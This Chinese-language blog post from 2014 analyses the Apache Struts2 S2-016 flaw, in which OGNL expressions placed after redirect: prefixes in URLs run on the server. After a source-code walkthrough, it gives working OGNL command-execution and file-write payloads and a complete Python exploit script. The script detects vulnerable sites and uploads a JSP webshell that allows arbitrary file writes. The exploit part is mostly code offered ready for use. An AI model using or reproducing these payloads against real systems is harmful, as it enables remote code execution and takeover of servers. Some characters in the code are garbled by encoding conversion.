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Struts2漏洞之S2-016漏洞分析與exp編寫

來源：程序員人生發布時間：2014-12-17 08:45:20 閱讀次數：4828次

1、概述

S2-016是13年7月爆出的，那時候的我還沒觸及Web安全研究。這次遲到的分析也算是對過去的補充。這個漏洞影響了Struts 2.3.15.1之前的所有版本。問題主要出在對特殊URL處理中，redirect與redirectAction后面跟上Ognl表達式會被服務器履行。

2、漏洞分析

分析開源框架的漏洞還是從其源碼入手，問題出在了DefaultActiionMapper上，這個類主要是用來處理1些靈活的URL調用，比如處理Action中動態調用方法的情勢，如:

http://www.foo.com/bar/hello.action?user!add

foo！bar這類情勢是動態的調用action中的方法，其中foo是action，bar是方法名，但是調用的條件是在struts.xml中事前進行配置。

固然這只是1種，這個類還有個重要的作用就是處理redirect、redirectAction、method、action

method用來動態指明調用的方法，如調用hello中的execute方法，則可以傳入url為：http;//www.foo.com/bar/hello.action?method:execute。

action用來指定其他的action，有了這個前綴，URL中的默許Action的execute方法不會被履行，而是履行其他action中的execute方法。

redirect1旦寫定，一樣不會履行默許action中的execute方法，而是重定向到其他的頁面，內部通過ServletRedirectResult完成履行。

redirectAction一樣會屏蔽默許action的方法，而是重定向到其他的Action，一樣依托ServletRedirectResult實現任務。

至于為何redirect后面的東西就會當作Ognl履行呢？繼續往下分析源碼。

傳入以下URL給Struts2框架，并設置相應的斷點。

Payload：

127.0.0.1:8080/struts_hello/hello?redirect:

${%23a%3dnew%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22netstat%22,%22-an%22}).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java.io.BufferedReader(%23b),%23d%3dnew%20char[51020],%23c.read(%23d),%23screen%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23screen.println(%23d),%23screen.close()}

首先，在DefaultActionMapper中做的第1件事情就是將Action的名稱和命名空間（namespace）給提取出來，接下來調用了兩個方法，1個是handleSpecialParameters，主要是這個handleSepcialParameters方法中有問題。

首先要提取出redirect:${xxxxxx}作為key，然后調用execute方法。

繼續跟進，發現是調用了構造方法中的其中1個，這里是根據辨認的redirect前綴決定調用哪一個put方法。

最最引人注視的就是這個redirect，這個redirect其實就是1個ServletRedirectResult的對象，前面也說過了，處理redirect前綴履行的就是這個類了，而這里只做了1件事，就是規定了重定向的方向，也就是邏輯流要跳轉到哪里去。這個key.substring(REDIRECT_PREFIX).length()就是redirect:${xxxx}中的xxxx內容。

以上就是對URL進行1次預處理，并將運行環境和對象創建出來，接下來就是在StrutsPrepareAndExecution調用了executeAction方法：

有童鞋可能會問，這個mapping究竟是甚么呢？

其實這個mapping就能夠看成這次要求的1個參數表，里面規定了redierect的location、Action的名稱、namespace等等，繼續跟進，就1路跟到了StrutsResultSupport中：

這個方法就是為了解析參數并用于Ognl表達式。其中的param參數是個String類型，其實就是${xxx}。

進入translateVariables，這個進程可以清楚看到Struts2的裝潢進程，終究來到了TextParseUtil類中：

對參數進行說明，第1個參數是個字符數組，主要規定了"redirect:"與后面的大括號之間的符號，可以是$,也能夠是%。

expression就是${xxxx}。stack就是當前的值棧。

這個方法中首先將大括號中的內容提取出來：

這些只是將Ognl表達式進行提取，說白了就是進行1系列的字符串操作，而履行則是通過下面的語句：

var是提取出來的Ognl表達式，就是大括號里面的內容。接著履行了stack.findValue方法，正是這個方法將Ognl表達式履行了，其實就是到了比較底層的OgnlUtil中進行語法樹分析并履行，最后返回履行的結果。這個履行的進程就是在OgnlValueStack中實現的（對樹中的每一個節點進行履行），這里觸及了Ognl語法樹算法，這里不贅述。

分析到這里，相信很多人都會明白了這個Ognl是如何就履行的了，這也是Struts2漏洞的最根本的地方，每一個Struts2漏洞都是圍繞著Ognl表達式機制。探測和分析出不同的方法（各種payload的奇怪表示）都是為了終究讓服務端履行我們的Ognl表達式代碼。

3、總結

S2-016的根本緣由就是沒有對幾個前綴的后面進行嚴格的過濾，致使黑客可以傳入符合Ognl表達式語法規則的字符串，使得Struts2將其當作Ognl表達式在ValueStack中履行，從而造成了任意命令的履行，getshell啊、列目錄、echo上傳，本質上都是履行java代碼。

4、S2-016的exp編寫

分析清楚了漏洞的原理，其實寫個exp不是太難了。不過這里有個大坑，就是我在調試exp的時候，發現這個漏洞不同于以往的s2漏洞。對1些URL中的特殊字符，比如等于號、空格、中括號、雙引號、#符號等，必須要嚴格進行urlencode才行，否則exp會履行失敗，不知道后面是怎樣運作的，有興趣的童鞋可以嘗摸索索1下。

在最后，給出我的漏洞監測+getshell腳本，代碼以下：

POC:

%23p%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23p.println(%22hacker%22),%23p.close()

GETSHELL:

%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3dfalse%2c%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%5d%2c%23b%3dnew+java.io.FileOutputStream(new+java.lang.StringBuilder(%23a.getRealPath(%22/%22)).append(@java.io.File@separator).append(%22system.jsp%22))%2c%23b.write(%23a.getParameter("t").getBytes())%2c%23b.close%28%29%2c%23p%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%5d.getWriter%28%29%2c%23p.println%28%22DONE%22%29%2c%23p.flush%28%29%2c%23p.close%28%29

#coding=utf⑻ import sys import requests class StrutsExploit(): def __init__(self): self.webshell = '''<%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"/><jsp:directive.page import="java.io.OutputStream"/><jsp:directive.page import="java.io.FileOutputStream"/><html><head><title>system</title><meta http-equiv="keywords" content="system"><meta http-equiv="description" content="system"></head><%int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("up")){String url=request.getParameter("url");String text=request.getParameter("text");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>Failed<%}}if(i==0){%>Success<%}%><body><form action='' method='post'>path of your shell:<input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="text">typing code here</textarea><br><input type="submit" value="up" name="text"/></form></body></html>''' self.payload = '''redirect:${%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3dfalse%2c%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%5d%2c%23b%3dnew+java.io.FileOutputStream(new+java.lang.StringBuilder(%23a.getRealPath(%22/%22)).append(@java.io.File@separator).append(%22system.jsp%22))%2c%23b.write(%23a.getParameter("t").getBytes())%2c%23b.close%28%29%2c%23p%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%5d.getWriter%28%29%2c%23p.println%28%22DONE%22%29%2c%23p.flush%28%29%2c%23p.close%28%29}''' self.detect_str = '''redirect:${%23p%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23p.println(%22HACKER%22),%23p.close()}''' '''獲得shell的URL''' def getShellPath(self,url): rawurl = url count = 0 i = 0 lineIndex = [] url = url.replace('http://','') for x in url: if x == '/': lineIndex.append(i) count += 1 if count == 2: break i += 1 if len(lineIndex) != 2: proDir = '' partOne = partOne = rawurl[0:lineIndex[0]+7] else: proDir = url[lineIndex[0]:lineIndex[1]] partOne = rawurl[0:lineIndex[0]+7] shellpath = "%s%s%s" % (partOne,proDir,"/system.jsp") return shellpath '''檢測是不是存在漏洞''' def detect(self,url): url = "%s?%s" % (url,self.detect_str) try: r = requests.get(url,timeout=10) page_content = r.content if page_content.find('HACKER') != ⑴: return True else: return False except Exception, e: print '[+]Exploit Failed:',e return False '''攻擊上傳shell到根目錄''' def getshell(self,url): target_url = "%s?%s" % (url,self.payload) data = {'t':self.webshell} try: r = requests.post(target_url,data=data,timeout=10) page_content = r.content if page_content.find('DONE') != ⑴: print '[+]Exploit Success,shell location: %s' % self.getShellPath(url) else: print '[+]Exploit Failed' except Exception, e: print '[+]Exploit Failed:',e return if __name__ == '__main__': if len(sys.argv) != 2: print '[+]Usage:python s2-016.py [target_url]' sys.exit() url = sys.argv[1] if not url.startswith('http://'): print '[+]URL is invalid!' sys.exit() print 'Powered By:Exploit QQ:739858341 [:-)]Target:%s' % url attacker = StrutsExploit() if attacker.detect(url): print '[+]This website is vulnerable!' else: print '[+]Sorry,exploit failed!' sys.exit() attacker.getshell(url)

測試運行結果：